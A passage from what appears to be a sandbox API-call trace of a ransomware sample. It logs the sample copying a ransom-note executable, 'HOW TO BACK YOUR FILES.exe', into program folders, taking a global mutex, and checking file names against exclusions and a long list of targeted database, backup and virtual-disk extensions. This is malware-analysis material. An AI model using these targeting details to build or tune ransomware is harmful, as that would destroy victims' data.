lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.216] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.219] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0036.220] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.220] lstrcmpiW (lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.220] lstrcpyW (in: lpString1=0x241e874, lpString2="{91140000-0057-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C") returned="{91140000-0057-0000-1000-0000000FF1CE}-C" [0036.220] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f688 [0036.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x5191a0 [0036.221] lstrcatW (in: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0036.221] lstrcatW (in: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{91140000-0057-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.221] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.224] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0036.224] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0036.224] ReleaseMutex (hMutex=0xec) returned 1 [0036.224] CloseHandle (hObject=0xec) returned 1 [0036.224] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files" | out: lpString1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0036.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f520 | out: hHeap=0x4f0000) returned 1 [0036.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509020 | out: hHeap=0x4f0000) returned 1 [0036.224] lstrlenW (lpString="C:\\Program Files\\Common Files") returned 29 [0036.224] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0FA3B6C544FBC71922C70F3F3D9165FC") returned 0xec [0036.224] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0036.224] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files" | out: lpString1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0036.224] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0036.225] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0036.225] GetLastError () returned 0x0 [0036.225] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0036.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0036.225] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0036.225] CloseHandle (hObject=0xf4) returned 1 [0036.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.225] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0036.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3cda60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3cda60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0036.226] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.226] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.226] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3cda60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3cda60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.226] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.226] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.226] lstrcpyW (in: lpString1=0x241e884, lpString2="DESIGNER" | out: lpString1="DESIGNER") returned="DESIGNER" [0036.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509020 [0036.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x516108 [0036.226] lstrcatW (in: lpString1="DESIGNER", lpString2="\\" | out: lpString1="DESIGNER\\") returned="DESIGNER\\" [0036.226] lstrcatW (in: lpString1="DESIGNER\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DESIGNER\\HOW TO BACK YOUR FILES.exe") returned="DESIGNER\\HOW TO BACK YOUR FILES.exe" [0036.226] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\designer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.228] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895b0390, ftCreationTime.dwHighDateTime=0x1d56a32, ftLastAccessTime.dwLowDateTime=0x437189d0, ftLastAccessTime.dwHighDateTime=0x1d4ef30, ftLastWriteTime.dwLowDateTime=0x437189d0, ftLastWriteTime.dwHighDateTime=0x1d4ef30, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flexiblepatiostem.exe", cAlternateFileName="FLEXIB~1.EXE")) returned 1 [0036.228] lstrcmpiW (lpString1="flexiblepatiostem.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.228] lstrcmpiW (lpString1="flexiblepatiostem.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.228] lstrcpyW (in: lpString1=0x241e884, lpString2="flexiblepatiostem.exe" | out: lpString1="flexiblepatiostem.exe") returned="flexiblepatiostem.exe" [0036.228] lstrlenW (lpString="flexiblepatiostem.exe") returned 21 [0036.228] lstrlenW (lpString="Athena865") returned 9 [0036.228] lstrcmpiW (lpString1="ostem.exe", lpString2="Athena865") returned 1 [0036.228] lstrlenW (lpString=".dll") returned 4 [0036.228] lstrcmpiW (lpString1="flexiblepatiostem.exe", lpString2=".dll") returned 1 [0036.229] lstrlenW (lpString=".lnk") returned 4 [0036.229] lstrcmpiW (lpString1="flexiblepatiostem.exe", lpString2=".lnk") returned 1 [0036.229] lstrlenW (lpString=".ini") returned 4 [0036.229] lstrcmpiW (lpString1="flexiblepatiostem.exe", lpString2=".ini") returned 1 [0036.229] lstrlenW (lpString=".sys") returned 4 [0036.229] lstrcmpiW (lpString1="flexiblepatiostem.exe", lpString2=".sys") returned 1 [0036.229] lstrlenW (lpString="flexiblepatiostem.exe") returned 21 [0036.229] lstrlenW (lpString="bak") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0036.229] lstrlenW (lpString="ba_") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0036.229] lstrlenW (lpString="dbb") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0036.229] lstrlenW (lpString="vmdk") returned 4 [0036.229] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0036.229] lstrlenW (lpString="rar") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0036.229] lstrlenW (lpString="zip") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0036.229] lstrlenW (lpString="tgz") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0036.229] lstrlenW (lpString="vbox") returned 4 [0036.229] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0036.229] lstrlenW (lpString="vdi") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0036.229] lstrlenW (lpString="vhd") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0036.229] lstrlenW (lpString="vhdx") returned 4 [0036.229] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0036.229] lstrlenW (lpString="avhd") returned 4 [0036.229] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0036.229] lstrlenW (lpString="db") returned 2 [0036.229] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0036.229] lstrlenW (lpString="db2") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0036.229] lstrlenW (lpString="db3") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0036.229] lstrlenW (lpString="dbf") returned 3 [0036.229] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0036.230] lstrlenW (lpString="mdf") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0036.230] lstrlenW (lpString="mdb") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0036.230] lstrlenW (lpString="sql") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0036.230] lstrlenW (lpString="sqlite") returned 6 [0036.230] lstrcmpiW (lpString1="em.exe", lpString2="sqlite") returned -1 [0036.230] lstrlenW (lpString="sqlite3") returned 7 [0036.230] lstrcmpiW (lpString1="tem.exe", lpString2="sqlite3") returned 1 [0036.230] lstrlenW (lpString="sqlitedb") returned 8 [0036.230] lstrcmpiW (lpString1="stem.exe", lpString2="sqlitedb") returned 1 [0036.230] lstrlenW (lpString="xml") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0036.230] lstrlenW (lpString="$er") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0036.230] lstrlenW (lpString="4dd") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0036.230] lstrlenW (lpString="4dl") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0036.230] lstrlenW (lpString="^^^") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0036.230] lstrlenW (lpString="abs") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0036.230] lstrlenW (lpString="abx") returned 3 [0036.230] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0036.230] lstrlenW (lpString="accdb") returned 5 [0036.230] lstrcmpiW (lpString1="m.exe", lpString2="accdb") returned 1 [0036.230] lstrlenW (lpString="accdc") returned 5 [0036.230] lstrcmpiW (lpString1="m.exe", lpString2="accdc") returned 1 [0036.230] lstrlenW (lpString="accde") returned 5 [0036.230] lstrcmpiW (lpString1="m.exe", lpString2="accde") returned 1 [0036.230] lstrlenW (lpString="accdr") returned 5 [0036.230] lstrcmpiW (lpString1="m.exe", lpString2="accdr") returned 1 [0036.230] lstrlenW (lpString="accdt") returned 5 [0036.230] lstrcmpiW (lpString1="m.exe", lpString2="accdt") returned 1 [0036.230] lstrlenW (lpString="accdw") returned 5 [0036.231] lstrcmpiW (lpString1="m.exe", lpString2="accdw") returned 1 [0036.231] lstrlenW (lpString="accft") returned 5 [0036.231] lstrcmpiW (lpString1="m.exe", lpString2="accft") returned 1 [0036.231] lstrlenW (lpString="adb") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0036.231] lstrlenW (lpString="adb") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0036.231] lstrlenW (lpString="ade") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0036.231] lstrlenW (lpString="adf") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0036.231] lstrlenW (lpString="adn") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0036.231] lstrlenW (lpString="adp") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0036.231] lstrlenW (lpString="alf") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0036.231] lstrlenW (lpString="ask") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0036.231] lstrlenW (lpString="btr") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0036.231] lstrlenW (lpString="cat") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0036.231] lstrlenW (lpString="cdb") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0036.231] lstrlenW (lpString="ckp") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0036.231] lstrlenW (lpString="cma") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0036.231] lstrlenW (lpString="cpd") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0036.231] lstrlenW (lpString="dacpac") returned 6 [0036.231] lstrcmpiW (lpString1="em.exe", lpString2="dacpac") returned 1 [0036.231] lstrlenW (lpString="dad") returned 3 [0036.231] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0036.231] lstrlenW (lpString="dadiagrams") returned 10 [0036.232] lstrcmpiW (lpString1="iostem.exe", lpString2="dadiagrams") returned 1 [0036.232] lstrlenW (lpString="daschema") returned 8 [0036.232] lstrcmpiW (lpString1="stem.exe", lpString2="daschema") returned 1 [0036.232] lstrlenW (lpString="db-journal") returned 10 [0036.232] lstrcmpiW (lpString1="iostem.exe", lpString2="db-journal") returned 1 [0036.232] lstrlenW (lpString="db-shm") returned 6 [0036.232] lstrcmpiW (lpString1="em.exe", lpString2="db-shm") returned 1 [0036.232] lstrlenW (lpString="db-wal") returned 6 [0036.232] lstrcmpiW (lpString1="em.exe", lpString2="db-wal") returned 1 [0036.232] lstrlenW (lpString="dbc") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0036.232] lstrlenW (lpString="dbs") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0036.232] lstrlenW (lpString="dbt") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0036.232] lstrlenW (lpString="dbv") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0036.232] lstrlenW (lpString="dbx") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0036.232] lstrlenW (lpString="dcb") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0036.232] lstrlenW (lpString="dct") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0036.232] lstrlenW (lpString="dcx") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0036.232] lstrlenW (lpString="ddl") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0036.232] lstrlenW (lpString="dlis") returned 4 [0036.232] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0036.232] lstrlenW (lpString="dp1") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0036.232] lstrlenW (lpString="dqy") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0036.232] lstrlenW (lpString="dsk") returned 3 [0036.232] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0036.232] lstrlenW (lpString="dsn") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0036.233] lstrlenW (lpString="dtsx") returned 4 [0036.233] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0036.233] lstrlenW (lpString="dxl") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0036.233] lstrlenW (lpString="eco") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0036.233] lstrlenW (lpString="ecx") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0036.233] lstrlenW (lpString="edb") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0036.233] lstrlenW (lpString="epim") returned 4 [0036.233] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0036.233] lstrlenW (lpString="fcd") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0036.233] lstrlenW (lpString="fdb") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0036.233] lstrlenW (lpString="fic") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0036.233] lstrlenW (lpString="flexolibrary") returned 12 [0036.233] lstrcmpiW (lpString1="atiostem.exe", lpString2="flexolibrary") returned -1 [0036.233] lstrlenW (lpString="fm5") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0036.233] lstrlenW (lpString="fmp") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0036.233] lstrlenW (lpString="fmp12") returned 5 [0036.233] lstrcmpiW (lpString1="m.exe", lpString2="fmp12") returned 1 [0036.233] lstrlenW (lpString="fmpsl") returned 5 [0036.233] lstrcmpiW (lpString1="m.exe", lpString2="fmpsl") returned 1 [0036.233] lstrlenW (lpString="fol") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0036.233] lstrlenW (lpString="fp3") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0036.233] lstrlenW (lpString="fp4") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0036.233] lstrlenW (lpString="fp5") returned 3 [0036.233] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0036.233] lstrlenW (lpString="fp7") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0036.234] lstrlenW (lpString="fpt") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0036.234] lstrlenW (lpString="frm") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0036.234] lstrlenW (lpString="gdb") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0036.234] lstrlenW (lpString="gdb") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0036.234] lstrlenW (lpString="grdb") returned 4 [0036.234] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0036.234] lstrlenW (lpString="gwi") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0036.234] lstrlenW (lpString="hdb") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0036.234] lstrlenW (lpString="his") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0036.234] lstrlenW (lpString="ib") returned 2 [0036.234] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0036.234] lstrlenW (lpString="idb") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0036.234] lstrlenW (lpString="ihx") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0036.234] lstrlenW (lpString="itdb") returned 4 [0036.234] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0036.234] lstrlenW (lpString="itw") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0036.234] lstrlenW (lpString="jet") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0036.234] lstrlenW (lpString="jtx") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0036.234] lstrlenW (lpString="kdb") returned 3 [0036.234] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0036.234] lstrlenW (lpString="kexi") returned 4 [0036.234] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0036.234] lstrlenW (lpString="kexic") returned 5 [0036.234] lstrcmpiW (lpString1="m.exe", lpString2="kexic") returned 1 [0036.234] lstrlenW (lpString="kexis") returned 5 [0036.234] lstrcmpiW (lpString1="m.exe", lpString2="kexis") returned 1 [0036.235] lstrlenW (lpString="lgc") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0036.235] lstrlenW (lpString="lwx") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0036.235] lstrlenW (lpString="maf") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0036.235] lstrlenW (lpString="maq") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0036.235] lstrlenW (lpString="mar") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0036.235] lstrlenW (lpString="marshal") returned 7 [0036.235] lstrcmpiW (lpString1="tem.exe", lpString2="marshal") returned 1 [0036.235] lstrlenW (lpString="mas") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0036.235] lstrlenW (lpString="mav") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0036.235] lstrlenW (lpString="maw") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0036.235] lstrlenW (lpString="mdbhtml") returned 7 [0036.235] lstrcmpiW (lpString1="tem.exe", lpString2="mdbhtml") returned 1 [0036.235] lstrlenW (lpString="mdn") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0036.235] lstrlenW (lpString="mdt") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0036.235] lstrlenW (lpString="mfd") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0036.235] lstrlenW (lpString="mpd") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0036.235] lstrlenW (lpString="mrg") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0036.235] lstrlenW (lpString="mud") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0036.235] lstrlenW (lpString="mwb") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0036.235] lstrlenW (lpString="myd") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0036.235] lstrlenW (lpString="ndf") returned 3 [0036.235] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0036.235] lstrlenW (lpString="nnt") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0036.236] lstrlenW (lpString="nrmlib") returned 6 [0036.236] lstrcmpiW (lpString1="em.exe", lpString2="nrmlib") returned -1 [0036.236] lstrlenW (lpString="ns2") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0036.236] lstrlenW (lpString="ns3") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0036.236] lstrlenW (lpString="ns4") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0036.236] lstrlenW (lpString="nsf") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0036.236] lstrlenW (lpString="nv") returned 2 [0036.236] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0036.236] lstrlenW (lpString="nv2") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0036.236] lstrlenW (lpString="nwdb") returned 4 [0036.236] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0036.236] lstrlenW (lpString="nyf") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0036.236] lstrlenW (lpString="odb") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0036.236] lstrlenW (lpString="odb") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0036.236] lstrlenW (lpString="oqy") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0036.236] lstrlenW (lpString="ora") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0036.236] lstrlenW (lpString="orx") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0036.236] lstrlenW (lpString="owc") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0036.236] lstrlenW (lpString="p96") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0036.236] lstrlenW (lpString="p97") returned 3 [0036.236] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0036.236] lstrlenW (lpString="pan") returned 3 [0036.236] 